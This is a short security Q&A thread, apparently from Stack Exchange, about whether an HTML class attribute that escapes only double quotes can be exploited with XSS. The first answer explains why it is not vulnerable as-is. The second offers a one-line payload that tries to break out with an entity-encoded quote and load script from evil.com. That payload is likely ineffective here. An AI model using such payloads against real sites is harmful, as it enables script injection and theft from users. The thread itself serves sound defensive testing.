I am currently testing XSS filter and I wonder, whether it is possible to demonstrate XSS attack on class tag attribute in HTML, when only double quotes are escaped. Other characters (<, >, ') are unescaped.

Code I am testing it on looks like this:

<span class="MY_VALUE">

I was not able to find any example of how to inject script in this tag. Thanks for any help.

  • What is the reason for only escaping one character and not adhering to the OWASP Recommendation?
    – user163495
    Apr 24, 2019 at 9:44
  • I know all dangerous characters should be escaped, but I am only testing the website and am not the one who wrote the code. I am trying to find example why escaping only one character might be unsafe.
    – dane123
    Apr 24, 2019 at 9:48

2 Answers 2


Assuming the filter is working as intended, this is not vulnerable to XSS.

You need " to exit a double-quoted attribute value context (see also the HTML standard and how to parse HTML documents).

This leaves two options:

  • an error in the handling of ": If the encoding of " isn't the last step before outputting, but the input is instead transformed afterwards (eg URL-decoded), then you may be able to bypass the " encoding (unlikely).
  • if the input is handled insecurely afterwards (eg read out of the DOM and reinserted insecurely), then there would be a vulnerability. But this would be an issue of the code handling that, not of the insertion here (only encoding " isn't great because it leaves you with uneven data - some encoded, some not - but it's not a vulnerability).

But as-is, there is no vulnerability here.


Did you try MY_VALUE=

&#34>(delivered)<script src=&#34http://evil.com/code.js


You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .